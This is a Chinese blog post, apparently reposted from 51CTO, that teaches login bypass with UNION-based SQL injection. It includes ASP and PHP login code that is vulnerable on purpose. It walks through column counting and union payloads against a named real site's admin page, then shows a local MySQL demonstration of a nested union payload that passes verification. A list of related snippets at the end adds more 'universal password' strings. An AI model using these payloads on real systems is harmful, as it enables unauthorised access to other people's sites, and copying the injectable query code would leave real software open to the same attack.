union万能密码By:dangdang
—————————asp代码—————————————–
username = request.form("username")
——————————————————————————————————–
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select [password] from admin where UserName='"&username&"'"
rs.open sql,conn,1,3
If password = rs("password") then
…’登陆成功
End if
现在很多站点都是这种验证方式,用’ or ‘1′=’就不行了。比如这个站http://aks.akszy.com/admin/
用户名处输入一个单引号出错(有的时候也不一定出错),然后’ order by 2–正确 ,’ order by 3– 正确,’ order by 4–出错,只有3列,用户名输入用’union select 1,1,1– ,因为用户名没有为空的记录,所以union出来的所有字段值都是1,密码再填1登陆进去了…..
还有一种验证方式密码有md5比较,所以’union select 1,1,1……当中用1的md5值替换其中一个1(其中一个是密码字段),密码填1依然可以绕过。
如果是mysql的话可以搞二次攻击,以下是2月文章:
看出错信息:
DB query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’;–” at line 1
———————- Debug Info ——————————-
0: plib\common_func.php3:243
db_query(string ’select id from admin_aliases where login=” union select login from admin_aliases;–”)
1: plib\class.AdminAlias.php:313
AdminAlias::findId(string ” union select login from admin_aliases;–’)
2: plib\cmd_loginup.php:147
createSession(string ” union select login from admin_aliases;–’, string ’******************************************’)
3: htdocs\login_up.php3:27
从SQL语句中可以大概猜测,这个login是字符类型的,而ID确是int类型,在MSSQL中union通过显错来获取信息可以证明这一点。根据大多数的web程序来推测的话,验证过程大概是这样。
1.通过用户名到数据库里寻找到该用户的ID值进行第一步判断。
2.找到了,再用这个ID值去找管理员的信息,可以使密码,也可以是*了,呵呵。
3.对提交的密码进行加密,和上一个结果集比对
令人高兴的是,这个系统大方的给了我单引号用,单咋一看,我们union控制结果集来绕过验证的常规思路似乎行不通。因为第一步只查找了那该死的ID。MSSQL报错。。报错。。那么MSSQL是个严谨的绅士,那MYSQL呢,我印象里他是个对类型不敏感的小流氓。这让人兴奋,我写了个小脚本来模拟这种“鸡肋”登陆注入的验证过程。
test.php
<?php
$uid = $_POST[uid];
$pwd = $_POST[pwd];
$link = mysql_connect(‘localhost’, ’root’, ’123456′)
or die(‘Could not connect: ’ . mysql_error());
//echo ’Connected successfully’;
mysql_select_db(‘test’) or die(‘Could not select database’);
//通过uid找到用户id 注意id为int
$query = ”SELECT id FROM admin where uid=’$uid’”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);
$user_id = $line[id];
$query = ”SELECT * FROM admin where id=$user_id”;
echo ”执行的SQL语句为:$query<br>”;
$result = mysql_query($query) or die(‘Query failed: ’ . mysql_error());
$line = mysql_fetch_array($result,MYSQL_ASSOC);
//验证开始
if ($line[pwd] == $pwd){ echo ”验证成功!<br>”; } else { echo ”验证失败!<br>”; }
mysql_free_result($result);
mysql_close($link);
?>
login.htm
<form action=”http://localhost:8080/test.php” method=”POST”>
<input name=uid type=text size=80>
<br>
<input name=pwd type=text size=80>
<br>
<input type=submit>
</form>
很简陋哈,呵呵。先让我们看看mysql里的设置。
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
ERROR 1050 (42S01): Table ’admin’ already exists
mysql> drop table admin;
Query OK, 0 rows affected (0.03 sec)
mysql> create table admin(uid varchar(10),pwd varchar(10),id int);
Query OK, 0 rows affected (0.08 sec)
mysql> insert into admin values(‘admin’,'fuckme’,1);
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+——-+——–+——+
| uid | pwd | id |
+——-+——–+——+
| admin | fuckme | 1 |
+——-+——–+——+
1 row in set (0.00 sec)
测了下验证程序ok,来测试mysql 一下语句
mysql> select id from admin union select 1;
+——+
| id |
+——+
| 1 |
+——+
1 row in set (0.00 sec)
mysql> select id from admin union select ’fuckme,please’;
+—————+
| id |
+—————+
| 1 |
| fuckme,please |
+—————+
2 rows in set (0.02 sec)
很好,Mysql果然没让人失望,这样意味着我们能控制$line[id]这个值了,他传递给$user_id到了第二个SQL语句中。继续在mysql里意淫:
mysql> select id from admin union select ’0 union select 1,2,3#’;
+———————–+
| id |
+———————–+
| 1 |
| 0 union select 1,2,3# |
+———————–+
2 rows in set (0.00 sec)
这个时候按照理论上讲 我们在用户名那里提交:
‘union select ’-1 union select 1,1,1#’# 密码填 1就可以验证成功了,这些推理过程不说了,我不能班门弄斧啊
程序输出:
执行的SQL语句为:SELECT id FROM admin where uid=” and 1=2 union select ’-1 union select 1,1,1#’#’
执行的SQL语句为:SELECT * FROM admin where id=-1 union select 1,1,1#
验证成功!
本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/354566,如需转载请自行联系原作者
union万能密码By:dangdang相关推荐
- mysql登录框万能密码_Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]...
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可以 ...
- 网站后台万能密码/10大常用弱口令
方法 / 步骤 一: 手动探测 先手动猜测几个可能的弱口令,主要是判断站点有没有做登录失败次数限制,若没有限制,则可以使用工具字典工具进行测试 二: 使用字典测试 2.1 字典生成思路 国内很多安全测 ...
- 万能用户名和万能密码
万能用户名 any' union select * from user – (后面有个注释符) 联合查询,是查询的结果大于1,为真 万能用户名防御 PDO $username=$REQUEST['us ...
- sql注入之万能密码总结
万能密码 万能密码原理 原验证登陆语句: SELECT * FROM admin WHERE Username= '".$username."' AND Password= '&q ...
- 后台登入万能密码合集
asp aspx万能密码 1: "or "a"="a 2: ')or('a'='a 3:or 1=1-- 4:'or 1=1-- 5:a ...
- 23-mysql万能用户名和万能密码
1.万能密码 注入的时候写入 用户名 aa 密码 'bb' or 1=1 2.万能用户名 注入的时候 用户名为(注意:不加sql中的分号): aa union select * fro ...
- 暴力破解时常说的万能密码是什么
在登陆后台时,接收用户输入的Userid和Password数据,并分别赋值给user和pwd,然后再用 sql="select * from admin where username=&q ...
- PHP代码审计入门-万能密码入门分析
0x00 写在前面 从零学习php,最终目的实现代码审计入门,软件采用sublime text,环境使用phpstudy搭建,数据库是navicat,需要有简单的html基础和php基础,跟随流沙前 ...
- SQL手工注入原理万能密码及默认密码登陆后台
SQL手工注入原理: 下面就是比较笨的方法了== 一个一个试 (* ̄rǒ ̄) 针对于.asp后缀网 + ?id_ 在后面加入下面代码,返回正确那就是无注入点,反正就是有注入点 一.什么是SQL ...
最新文章
- 201671010139 徐楠
- 整理就知识,你会在里面发现新的东西
- pdm生成mysql sql语句_如何用Powerdesigner的PDM生成数据库
- Oracle创建表_01
- 自定义滚动条,可解决火狐滚动条默认样式修改不了问题
- 微信小程序接口测试时appid为空如何解决
- Linux shell中比较操作符“==”与“-eq”对比
- 数据可视化黑科技!它比python强大20倍
- OpenCV图像处理(14)——文件夹下所有图像转灰度
- monkey 查找闪退页面的方法
- Spring Boot @ServletComponentScan 扫描 @WebServlet、@WebFilter、@WebListener
- everthing 添加右键菜单
- 愚人节、物联网、飞鸽与IP
- Cesium基础知识-创建3D地球
- 2018初中计算机考试知识点,2018计算机等级考试考点:考前学习的技巧
- 智能指针循环引用——你真的懂了吗?
- Java 线程的状态
- 字节跳动今日头条笔试题目经历2018
- 设计师必读的 10 本书
- 性能监控-软中断出现瓶颈的查看方式
热门文章
- “注册编辑已被管理员停用”之解决办法
- c++获取时间戳_「崩坏3」众星陨落 | 限时补给开启,4星装备获取概率UP
- 科研地图来了,看看你的研究领域在哪里!中国科学院科技战略咨询研究院发布《科学结构图谱2021》
- Cadence复用电路原理图及其PCB布局
- C语言 | 基于MPU605(六轴传感器)的I2C实现LCD1602显示(代码类)
- Verilog | HDL 音乐流水灯(代码类)
- java填空题 在非静态成员方法中_Java程序设计填空和改错题(参考答案)
- mysql越筛越少_面试官:为什么SELECT * 会导致查询效率低?
- 未来教育计算机二级为什么分数很低,计算机二级考试失分了却不知道为什么?...
- m3u直播源_教你创建电视直播源